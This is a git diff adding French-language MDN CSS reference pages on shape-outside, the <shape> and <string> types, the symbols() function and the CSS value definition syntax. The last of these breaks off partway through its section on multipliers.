+shape-outside: inset(10px 10px 10px 10px);
+shape-outside: polygon(10px 10px, 20px 20px, 30px 30px);
+shape-outside: linear-gradient(45deg, rgba(255,255,255,0) 150px, red 150px);
+
+/* Valeur de type &lt;url&gt; */
+shape-outside: url(image.png);
+
+
+/* Valeur de type &lt;gradient&gt; */
+shape-outside: linear-gradient(45deg, rgba(255, 255, 255, 0) 150px, red 150px);
+
+/* Valeurs globales */
+shape-outside: initial;
+shape-outside: inherit;
+shape-outside: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>La zone de flottement n'est pas modifiée. Le contenu en ligne épouse le contour de la boîte de marge normalement.</dd>
+ <dt><code>&lt;shape-box&gt;</code></dt>
+ <dd>La forme est calculée selon '<code>margin-box</code>', '<code>border-box</code>', '<code>padding-box</code>' or '<code>content-box</code>' qui correspondent chacune aux boîtes de marge, bordure, remplissage et de contenu. La boîte ainsi définie inclue les courbures induites par {{cssxref("border-radius")}}. On a un effet semblable à {{cssxref("background-clip")}}.</dd>
+ <dt><code>&lt;basic-shape&gt;</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;basic-shape&gt;")}}. La forme est calculée selon une valeur parmi <code><a href="/fr/docs/Web/CSS/basic-shape#inset()">inset()</a></code>, <code><a href="/fr/docs/Web/CSS/basic-shape#circle()">circle()</a></code>, <code><a href="/fr/docs/Web/CSS/basic-shape#ellipse()">ellipse()</a></code>, ou <code><a href="/fr/docs/Web/CSS/basic-shape#polygon()">polygon()</a></code>. Si une valeur <code>&lt;shape-box&gt;</code> est fournie, cela définira la boîte de référence dans laquelle appliquée la forme définie avec la fonction <code>&lt;basic-shape&gt;</code>. Si <code>&lt;shape-box&gt;</code> n'est pas fournie, la valeur par défaut sera '<code>margin-box</code>'.</dd>
+ <dt><code>&lt;image&gt;</code></dt>
+ <dd>La forme est extraite et calculée à partir du canal alpha de l'image {{cssxref("image")}} en utilisant l propriété {{cssxref("shape-image-threshold")}}.</dd>
+ <dd>Les agents utilisateurs doivent utiliser la méthode <code>fetch</code>, éventuellement avec CORS pour les URL utilisées dans <code>shape-outside</code>. Lors de l'accès à la ressource, les agents utilisateurs doivent utiliser le mode Anonymous et définir la source du <em>referrer</em> comme l'URL de la feuille de style, l'origine de l'URL doit être celle du document. S'il y a des erreurs réseau empêchant de récupérer l'image, l'effet sera le même que celui obtenu avec la valeur <code><strong>none</strong></code>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Interpolation">Interpolation</h2>
+
+<p>Afin de pouvoir interpoler entre deux formes, on appliquera les règles suivantes. Les valeurs avec des fonctions sont interpolées comme une liste simple. Les valeurs d'une liste sont interpolées comme des longueurs, des pourcentages ou des valeurs calculées lorsque c'est possible. Si les valeurs de la liste n'ont pas ces types mais sont identiques (par exemple, on trouve <code>nonzero</code> à la même position dans les deux listes), les valeurs pourront interopérer.</p>
+
+<ul>
+ <li>Les deux formes doivent utiliser la même boîtes de référence.</li>
+ <li>Si les deux formes sont du même type, que ce type est <code>ellipse()</code> ou <code>circle()</code> et qu'aucun des rayons n'utilise les mots-clés <code>closest-side</code> ou <code>farthest-side</code>, on aura une interpolation entre chaque valeur.</li>
+ <li>Si les deux formes sont du type <code>inset()</code>, on aura une interpolation entre chaque valeur.</li>
+ <li>Si les deux formes sont du types <code>polygon()</code>, que les deux polygones ont le même nombre de côtés et utilisent la même règle <code>&lt;fill-rule&gt;</code>, on aura une interpolation entre chaque valeur.</li>
+ <li>Dans les autres cas, on n'a pas d'interpolation définie.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="main"&gt;
+  &lt;div class="left"&gt;&lt;/div&gt;
+  &lt;div class="right"&gt;&lt;/div&gt;
+  &lt;p&gt;
+    Sometimes a web page's text content appears to be
+    funneling your attention towards a spot on the page
+    to drive you to follow a particular link.  Sometimes
+    you don't notice.
+  &lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[13,14,21,22]">.main {
+  width: 530px;
+}
+
+.left,
+.right {
+  width: 40%;
+  height: 12ex;
+  background-color: lightgray;
+}
+
+.left {
+  -webkit-shape-outside: polygon(0 0, 100% 100%, 0 100%);
+  shape-outside: polygon(0 0, 100% 100%, 0 100%);
+  float: left;
+  -webkit-clip-path: polygon(0 0, 100% 100%, 0 100%);
+  clip-path: polygon(0 0, 100% 100%, 0 100%);
+}
+
+.right {
+  -webkit-shape-outside: polygon(100% 0, 100% 100%, 0 100%);
+  shape-outside: polygon(100% 0, 100% 100%, 0 100%);
+  float: right;
+  -webkit-clip-path: polygon(100% 0, 100% 100%, 0 100%);
+  clip-path: polygon(100% 0, 100% 100%, 0 100%);
+}
+
+p {
+  text-align: center;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', "100%", 130)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Shapes', '#shape-outside-property', 'shape-outside')}}</td>
+   <td>{{Spec2('CSS Shapes')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.shape-outside")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Shapes">Les formes CSS : le module de spécification <em>CSS Shapes</em></a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Shapes/Aperçu_formes_CSS">Un aperçu des formes CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Shapes/Créer_formes_boîtes">Créer des formes à partir des boîtes</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Shapes/Formes_simples">Les formes simples : le type de donnée <code>&lt;basic-shape&gt;</code></a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Shapes/Générer_formes_images">Créer des formes à partir d'images</a></li>
+ <li>{{cssxref("&lt;basic-shape&gt;")}}</li>
+ <li>{{cssxref("shape-margin")}}</li>
+ <li>{{cssxref("shape-image-threshold")}}</li>
+</ul>
diff --git a/files/fr/web/css/shape/index.html b/files/fr/web/css/shape/index.html
new file mode 100644
index 0000000000..5475c0e6c4
--- /dev/null
+++ b/files/fr/web/css/shape/index.html
@@ -0,0 +1,106 @@
+---
+title: <shape>
+slug: Web/CSS/shape
+tags:
+  - CSS
+  - Déprécié
+  - Reference
+  - Type
+translation_of: Web/CSS/shape
+---
+<div>{{CSSRef}}{{deprecated_header}}</div>
+
+<p>Le type de donnée CSS <strong><code>&lt;shape&gt;</code></strong> permet de représenter des formes. Ces formes (ou régions) sont utilisées pour définir les parties d'un élément sur lesquelles des propriétés comme {{cssxref("clip")}} s'appliquent. Ce type de donnée a été déprécié pour être remplacé par {{cssxref("&lt;basic-shape&gt;")}}.</p>
+
+<div class="note">
+<p><strong>Note :</strong> <code>&lt;shape&gt;</code> et <code>rect()</code> fonctionnent avec la propriété {{cssxref("clip")}} qui a été dépréciée pour être remplacée par {{cssxref("clip-path")}}. Il est donc préférable d'utiliser cette dernière si possible avec une valeur de type {{cssxref("&lt;basic-shape&gt;")}} à la place.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Les valeurs de type <code>&lt;shape&gt;</code> sont construites grâce à la notation fonctionnelle <code>rect()</code> qui permet de créer une zone en forme de rectangle.</p>
+
+<pre class="syntaxbox">rect(<em>haut</em>, <em>droite</em>, <em>bas</em>, <em>gauche</em>)
+</pre>
+
+<h4 id="Valeurs">Valeurs</h4>
+
+<p><img alt="rect.png" class="internal rwrap" src="/@api/deki/files/5730/=rect.png" style="float: right;"></p>
+
+<dl>
+ <dt><code><em>haut</em></code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;length&gt;")}} qui représente le décalage entre le côté haut du rectangle et le côté haut de la bordure de l'élément.</dd>
+</dl>
+
+<dl>
+ <dt><code><em>droite</em></code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;length&gt;")}} qui représente le décalage entre le côté droit du rectangle et le côté gauche de la bordure de l'élément.</dd>
+</dl>
+
+<dl>
+ <dt><code><em>bas</em></code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;length&gt;")}} qui représente le décalage entre le côté bas du rectangle et le côté haut de la bordure de l'élément.</dd>
+</dl>
+
+<dl>
+ <dt><code><em>gauche</em></code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;length&gt;")}} qui représente le décalage entre le côté gauche du rectangle et le côté gauche de la bordure de l'élément.</dd>
+</dl>
+
+<h2 id="Interpolation">Interpolation</h2>
+
+<p>Les valeurs de type <code>&lt;shape&gt;</code> sont des rectangles qui peuvent être interpolées lors des animations. Pour ces valeurs, l'interpolation s'effectue en interpolant chacune des valeurs <code>haut</code>, <code>droite</code>, <code>bas</code> et <code>gauche</code> comme des nombres réels (à virgule flottante). La vitesse de l'interpolation est définie grâce à <a href="/fr/docs/Web/CSS/timing-function">la fonction de temporisation</a> associée à l'animation.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">.exemple {
+   position: absolute;
+   top: 0px;
+   left: 360px;
+   clip: rect(0px, 175px, 113px, 0px);
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  &lt;img class="exemple" src="https://developer.mozilla.org/@api/deki/files/3613/=hut.jpg" title="Rogné en haut à gauche"&gt;
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","120","120")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visufx.html#value-def-shape', '&lt;shape&gt;')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition avec la propriété {{cssxref("clip")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.types.shape")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("clip")}}</li>
+ <li>La fonction spécifique à Gecko {{cssxref("-moz-image-rect()")}}</li>
+</ul>
diff --git a/files/fr/web/css/string/index.html b/files/fr/web/css/string/index.html
new file mode 100644
index 0000000000..a3c01544ab
--- /dev/null
+++ b/files/fr/web/css/string/index.html
@@ -0,0 +1,85 @@
+---
+title: <string>
+slug: Web/CSS/string
+tags:
+  - CSS
+  - Reference
+  - Type
+translation_of: Web/CSS/string
+---
+<div>{{CSSRef}}</div>
+
+<p>Le type de donnée CSS <strong><code>&lt;string&gt;</code></strong> représente une chaîne de caractères. En CSS, les chaînes de caractères sont présentes dans de nombreuses propriétés comme {{cssxref("content")}}, {{cssxref("font-family")}} et {{cssxref("quotes")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une chaîne de caractères CSS est formée d'un ou plusieurs caractères <a href="https://fr.wikipedia.org/wiki/Unicode">Unicode</a> délimités par des quotes (<code>'</code>) ou des doubles quotes (<code>"</code>). Une chaîne délimitée par des doubles quotes ne peut pas contenir de double quotes à moins qu'elles soient échappées à l'aide d'une barre oblique inversée (<code>\</code>). Le même principe s'applique aux chaînes délimitées par des quotes simples, qui ne peuvent contenir de quotes simples sans qu'elles soient échappés à l'aide d'une barre oblique inversée (<code>\</code>).</p>
+
+<p>Le caractère barre oblique inversée doit être échappé afin de faire partie d'une chaîne de caractère.</p>
+
+<p>Les nouvelles lignes ne sont pas acceptées, sauf si elles sont échappées à l'aide d'un caractère de saut de ligne tel que <code>\A</code> ou <code>\00000a</code>. Toutefois, des chaînes de caractères peuvent s'étendre sur plusieurs lignes. Dans ce cas, il est possible de couper la chaîne en plusieurs lignes en utilisant une barre oblique inversée (<code>\</code>) comme dernier caractère de chaque ligne.</p>
+
+<p>Les caractères peuvent être décrits en utilisant leur <a href="https://fr.wikipedia.org/wiki/Unicode#Partitionnement">point de code Unicode</a> hexadécimal, qui doit alors être échappé à l'aide du caractère <code>\</code>. <code>\27</code> représente par exemple le guillemet droit simple (<code>'</code>) et <code>\A9</code> le symbole du <em>copyright</em> ©.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Les <a href="/fr/docs/Glossaire/Entity">entités</a> telles que <code>&amp;nbsp;</code> ou <code>&amp;#8212;</code> ne peuvent pas être utilisées pour les chaînes de caractères CSS.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">"Chaîne avec des guillemets doubles"
+"Chaîne avec plusieurs \" guillemets doubles"
+'Chaîne avec des guillemets simples'
+'Chaîne avec plusieurs \' guillemets simples'
+
+"Chaîne avec une \Anouvelle ligne"
+
+"Une grande chaîne \
+de caractères"
+"Une grande chaîne de caractères"
+</pre>
+
+<div class="note"><strong>Note</strong> : on peut également échapper des doubles quotes avec <code>\22</code> et les simples quotes avec <code>\27</code>.</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#strings', '')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Aucune modification significative depuis CSS Level 2 (Revision 1)</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'syndata.html#strings', '')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition explicite. Les valeurs Unicode échappées sur 6 chiffres sont autorisées.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '', '')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition implicite. Les valeurs Unicode échappées sur 4 chiffres sont autorisées.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.types.string")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Valeurs_et_unités_CSS">Valeurs et unités en CSS</a></li>
+ <li><a href="/fr/docs/Apprendre/CSS/Introduction_à_CSS/Values_and_units">Tutoriel - Introduction aux valeurs et unités CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/Types_CSS">Types de donnée en CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/symbols()/index.html b/files/fr/web/css/symbols()/index.html
new file mode 100644
index 0000000000..8e0395bae9
--- /dev/null
+++ b/files/fr/web/css/symbols()/index.html
@@ -0,0 +1,74 @@
+---
+title: symbols()
+slug: Web/CSS/symbols()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+translation_of: Web/CSS/symbols()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction <strong><code>symbols()</code></strong> permet de définir des styles pour les compteurs en ligne, directement comme valeur de la propriété CSS. À la différence des styles définis avec {{cssxref("@counter-style")}}, ces styles sont anonymes. La fonction <code>symbols()</code> ne possède pas toute la flexibilité offerte par la règle @ {{cssxref("@counter-style")}} mais peut s'avérer utile dans des cas où le style nécessaire n'est utilisé qu'une seule fois et où il n'est pas nécessaire d'utiliser toutes les options fournies par {{cssxref("@counter-style")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">symbols() = symbols( &lt;symbols-type&gt;? [ &lt;string&gt; | &lt;image&gt; ]+ );</pre>
+
+<p><code>&lt;symbols-type&gt;</code> est l'un des mots-clés suivants :</p>
+
+<ul>
+ <li><code>cyclic</code> : le système utilisera les différentes valeurs les unes à la suite des autres, de façon cyclique.</li>
+ <li><code>numeric</code> : le système interprètera les valeurs fournies comme une suite numérique composant un système de numération.</li>
+ <li><code>alphabetic</code> : le système interprètera les valeurs fournies comme les chiffres d'un système de numération alphabétique (par exemple : A, B, C, AA, AB, AC, etc.) sans zéro.</li>
+ <li><code>symbolic</code> : le système parcourt les différentes valeurs fournies et en affiche une de plus à chaque cycle.</li>
+ <li><code>fixed</code> : le système affiche chaque symbole une fois puis poursuit avec les chiffres arabes.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ol&gt;
+  &lt;li&gt;Un&lt;/li&gt;
+  &lt;li&gt;Deux&lt;/li&gt;
+  &lt;li&gt;Trois&lt;/li&gt;
+  &lt;li&gt;Quatre&lt;/li&gt;
+  &lt;li&gt;Cinq&lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">ol {
+  list-style: symbols(alphabetic "*" "\2020" "\2021");
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","100%")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Counter Styles', '#symbols-function', 'symbols()')}}</td>
+   <td>{{Spec2('CSS3 Counter Styles')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("@counter-style")}}</li>
+ <li>{{cssxref("list-style-type")}} et la propriété raccourcie correspondante : {{cssxref("list-style")}}.</li>
+</ul>
diff --git a/files/fr/web/css/syntaxe_de_définition_des_valeurs/index.html b/files/fr/web/css/syntaxe_de_définition_des_valeurs/index.html
new file mode 100644
index 0000000000..2acb4d1da7
--- /dev/null
+++ b/files/fr/web/css/syntaxe_de_définition_des_valeurs/index.html
@@ -0,0 +1,421 @@
+---
+title: Syntaxe de définition des valeurs
+slug: Web/CSS/Syntaxe_de_définition_des_valeurs
+tags:
+  - CSS
+  - Débutant
+  - Reference
+translation_of: Web/CSS/Value_definition_syntax
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>La syntaxe de définition des valeurs CSS</strong> est une grammaire formelle qui définit les règles pour créer des règles CSS valides. En plus de ces règles, il peut y avoir des contraintes sémantiques (ex. un nombre doit être positif pour une propriété donnée).</p>
+
+<p>La syntaxe de définition décrit les valeurs qui sont permises et les interactions entre ces valeurs. Un composant peut-être un mot-clé, un littéral, une valeur d'un type donné ou une autre propriété CSS.</p>
+
+<h2 id="Les_types_de_composants">Les types de composants</h2>
+
+<h3 id="Les_mots-clés">Les mots-clés</h3>
+
+<h4 id="Les_mots-clés_génériques">Les mots-clés génériques</h4>
+
+<p>Un mot-clé avec une signification prédéfinie, qui peut apparaître littéralement, sans apostrophes ou guillemets (ex. <code>auto</code>, <code>smaller</code> ou <code>ease-in</code>).</p>
+
+<h4 id="inherit_initial_et_unset"><code>inherit</code>, <code>initial</code> et <code>unset</code></h4>
+
+<p>Toutes propriétés CSS acceptent les mots-clés <code>inherit</code>, <code>initial</code> et <code>unset</code> définies par la spécification CSS. Ces mots-clés ne sont pas listés dans la définition de la syntaxe et sont définies implicitement.</p>
+
+<h3 id="Les_littéraux">Les littéraux</h3>
+
+<p>En CSS, quelques caractères peuvent apparaître directement (ex. la barre oblique « / » ou la virgule « , ») et sont utilisés dans les définitions d'une propriété pour séparer ses composantes. La virgule est généralement utilisée pour séparer des valeurs d'une liste ou des paramètres d'une fonction. La barre oblique sépare des composantes sémantiquement différentes mais avec une syntaxe similaire. Généralement, la barre oblique est utilisée dans les propriétés raccourcies pour séparer les composants du même type mais qui sont associés aux différentes propriétés détaillées.</p>
+
+<p>Ces deux symboles sont utilisés tels quels dans la définition d'une valeur.</p>
+
+<h3 id="Les_types_de_donnée">Les types de donnée</h3>
+
+<h4 id="Les_types_de_donnée_simples">Les types de donnée simples</h4>
+
+<p>Certains types de donnée sont utilisés pour différentes propriétés et sont définis pour l'ensemble des valeurs de la spécification. Ce sont les types de donnée simples et sont représentés par leur nom encadré par des chevrons (le type <code>angle</code> est donc représenté par : {{ cssxref("&lt;angle&gt;") }}, {{cssxref("&lt;string&gt;")}}, et ainsi de suite).</p>
+
+<h4 id="Les_types_de_donnée_non_terminaux">Les types de donnée non terminaux</h4>
+
+<p>D'autres types de donnée, moins utilisés, sont appelés types de donné non-terminaux et sont également encadrés par des chevrons.</p>
+
+<p>Les types de donnée non terminaux sont de deux sortes :</p>
+
+<ul>
+ <li>Les types de donnée qui utilisent le même nom qu'une propriété. Dans ce cas, le type de donnée correspond à l'ensemble des valeurs utilisé par la propriété. Ceux-ci sont généralement utilisés dans les définitions des propriétés raccourcies.</li>
+ <li>Les types de donnée dont le nom de n'est pas celui d'une propriété. Ces types de donnée sont très proches des types simples. La seule différence est l'emplacement de leur définition : dans ce cas, la définition est généralement très proche de la définition de la propriété qui les utilise.</li>
+</ul>
+
+<h2 id="Les_combinateurs">Les combinateurs</h2>
+
+<h3 id="Les_crochets">Les crochets</h3>
+
+<p>Les crochets permettent de regrouper plusieurs entités, combinateurs et multiplicateurs pour les transformer en un seul composant. Cela permet de grouper les composants afin d' appliquer des règles de priorités (supérieures aux règles de précédence).</p>
+
+<pre class="syntaxbox">bold [ thin &amp;&amp; &lt;length&gt; ]</pre>
+
+<p>Cet exemple pourra illustrer les valeurs suivantes :</p>
+
+<ul>
+ <li><code>bold thin 2vh</code></li>
+ <li><code>bold 0 thin</code></li>
+ <li><code>bold thin 3.5em</code></li>
+</ul>
+
+<p>Mais ne correspondra pas à :</p>
+
+<ul>
+ <li><code>thin bold 3em</code> car <code>bold</code> est juxtaposé au composant défini entre les crochets alors qu'il doit apparaître avant.</li>
+</ul>
+
+<h3 id="Juxtaposition">Juxtaposition</h3>
+
+<p>Si on place plusieurs mots-clés, littéraux ou types de donnée les uns à la suite des autres, séparés par un ou plusieurs blancs, cela indique que tous les composants sont <strong>obligatoires et doivent apparaître dans cet ordre</strong>.</p>
+
+<pre class="syntaxbox">bold &lt;length&gt; , thin
+</pre>
+
+<p>Cet exemple pourra illustrer les valeurs suivantes :</p>
+
+<ul>
+ <li><code>bold 1em, thin</code></li>
+ <li><code>bold 0, thin</code></li>
+ <li><code>bold 2.5cm, thin</code></li>
+ <li><code>bold 3vh, thin</code></li>
+</ul>
+
+<p>Mais il ne correspondra pas à :</p>
+
+<ul>
+ <li><code>thin 1em, bold</code> car les entités ne sont pas dans l'ordre indiqué</li>
+ <li><code>bold 1em thin</code> car les entités sont obligatoires et la virgule qui est un littéral doit être présente</li>
+ <li><code>bold 0.5ms, thin</code> car les valeurs <code>ms</code> ne sont pas des valeurs du type {{cssxref("&lt;length&gt;")}}</li>
+</ul>
+
+<h3 id="Double_esperluette">Double esperluette</h3>
+
+<p>Lorsqu'on sépare deux ou plusieurs composants par une double esperluette, cela signifie que <strong>toutes les entités sont obligatoires mais peuvent apparaître dans n'importe quel ordre</strong>.</p>
+
+<pre class="syntaxbox">bold &amp;&amp; &lt;length&gt;
+</pre>
+
+<p>Cet exemple pourra illustrer les valeurs suivantes :</p>
+
+<ul>
+ <li><code>bold 1em</code></li>
+ <li><code>bold 0</code></li>
+ <li><code>2.5cm bold</code></li>
+ <li><code>3vh bold</code></li>
+</ul>
+
+<p>Mais il ne correspondra pas à :</p>
+
+<ul>
+ <li><code>bold</code> car les deux composants doivent apparaître.</li>
+ <li><code>bold 1em bold</code> car les deux composants doivent apparaître exactement une fois.</li>
+</ul>
+
+<div class="note"><strong>Note :</strong> La juxtaposition est prioritaire par rapport à la double esperluette. <code>bold thin &amp;&amp; &lt;length&gt;</code> est donc équivalent à <code>[ </code><code>bold thin ] &amp;&amp; &lt;length&gt;</code>. Il décrit <code>bold thin &lt;length&gt;</code> ou <code>&lt;length&gt;</code><code> bold thin</code> mais pas <code>bold &lt;length&gt;</code><code> thin</code>.</div>
+
+<h3 id="Double_barre">Double barre</h3>
+
+<p>Lorsque deux ou plusieurs composants sont séparés par une double barre verticale <code>||</code>. Cela signifie qu'au moins un composant doit <strong>être présent et qu'ils peuvent apparaître dans n'importe quel ordre</strong>. Généralement, ceci est utilisé pour définir les différentes valeurs d'une propriété raccourcie.</p>
+
+<pre class="syntaxbox">&lt;'border-width'&gt; || &lt;'border-style'&gt; || &lt;'border-color'&gt;
+</pre>
+
+<p>Cet exemple pourra illustrer les valeurs suivantes :</p>
+
+<ul>
+ <li><code>1em solid blue</code></li>
+ <li><code>blue 1em</code></li>
+ <li><code>solid 1px yellow</code></li>
+</ul>
+
+<p>Mais il ne correspondra pas à :</p>
+
+<ul>
+ <li><code>blue yellow</code> car le composant doit apparaître au plus une fois.</li>
+ <li><code>bold</code> car le mot-clé n'est pas permis pour aucune valeur de l'entité.</li>
+</ul>
+
+<div class="note"><strong>Note :</strong> La double esperluette est prioritaire par rapport à la double barre. <code>bold || thin &amp;&amp; &lt;length&gt;</code> est équivalent à <code>bold || [ thin &amp;&amp; &lt;length&gt; ]</code> qui décrit <code>bold</code>, <code>thin</code> <code>&lt;length&gt;</code>, <code>bold thin</code> <code>&lt;length&gt;</code>, ou <code>thin &lt;length&gt; bold</code> mais pas <code>&lt;length&gt;</code><code> bold thin</code> car bold, s'il est présent doit apparaître avant <code>thin &amp;&amp; &lt;length&gt;</code>.</div>
+
+<h3 id="La_barre_verticale">La barre verticale</h3>
+
+<p>Lorsqu'on sépare deux entités par une barre verticale. Cela signifie que les différentes options sont exclusives : <strong>seule une des options doit être présente</strong>. Généralement, cela permet de séparer différents mots-clés possible.</p>
+
+<pre class="syntaxbox">&lt;percentage&gt; | &lt;length&gt; | left | center | right | top | bottom</pre>
+
+<p>Cet exemple pourra illustrer les valeurs suivantes :</p>
+
+<ul>
+ <li><code>3%</code></li>
+ <li><code>0</code></li>
+ <li><code>3.5em</code></li>
+ <li><code>left</code></li>
+ <li><code>center</code></li>
+ <li><code>right</code></li>
+ <li><code>top</code></li>
+ <li><code>bottom</code></li>
+</ul>
+
+<p>Mais il ne correspondra pas à :</p>
+
+<ul>
+ <li><code>center 3%</code> car seul un seul des composants doit être présent.</li>
+ <li><code>3em 4.5em</code> car un composant doit être présent au plus une seule fois.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note :</strong> La double barre verticale est prioritaire par rapport à la simple barre verticale. Ainsi <code>bold | thin || &lt;length&gt;</code> est équivalent à <code>bold | [ thin || &lt;length&gt; ]</code> qui décrit <code>bold</code>, <code>thin</code>, <code>&lt;length&gt;</code>, <code>&lt;length&gt; thin</code> ou <code>thin &lt;length&gt; </code>mais pas <code>bold &lt;length&gt;</code> car seule entité peut être présente.</p>
+</div>
+
+<h2 id="Les_multiplicateurs">Les multiplicateurs</h2>
+
+<p>Un multiplicateur est un signe qui indique nombre de fois qu'une entité peut être répétée. Sans aucun multiplicateur, une entité doit apparaître exactement une fois.</p>
+
+<h3 id="L'astérisque_(*)">L'astérisque (<code>*</code>)</h3>
+
+<p>L'astérisque indique qu'une entité peut apparaître <strong>zéro, une ou plusieurs fois</strong>.</p>
+
+<pre class="syntaxbox">bold smaller*</pre>
+
+<p>Cet exemple pourra illustrer les valeurs suivantes :</p>
+
+<ul>
+ <li><code>bold</code></li>
+ <li><code>bold smaller</code></li>
+ <li><code>bold smaller smaller</code></li>
+ <li><code>bold smaller smaller smaller</code> and so on.</li>
+</ul>
+
+<p>Mais il ne correspondra pas à :</p>
+
+<ul>
+ <li><code>smaller</code> car <code>bold</code> est juxtaposé et doit apparaître avant le mot-clé <code>smaller</code>.</li>
+</ul>
+
+<h3 id="Plus_()">Plus (<code>+</code>)</h3>
+
+<p>Le multiplicateur « plus » indique que l'entité peut apparaître <strong>une ou plusieurs fois</strong>.</p>
+
+<pre class="syntaxbox">bold smaller+</pre>
+
+<p>Cet exemple pourra illustrer les valeurs suivantes :</p>
+
+<ul>
+ <li><code>bold smaller</code></li>
+ <li><code>bold smaller smaller</code></li>
+ <li><code>bold smaller smaller smaller</code> and so on.</li>
+</ul>
+
+<p>Mais il ne correspondra pas à :</p>
+
+<ul>
+ <li><code>bold</code> car <code>smaller</code> doit apparaître au moins une fois</li>
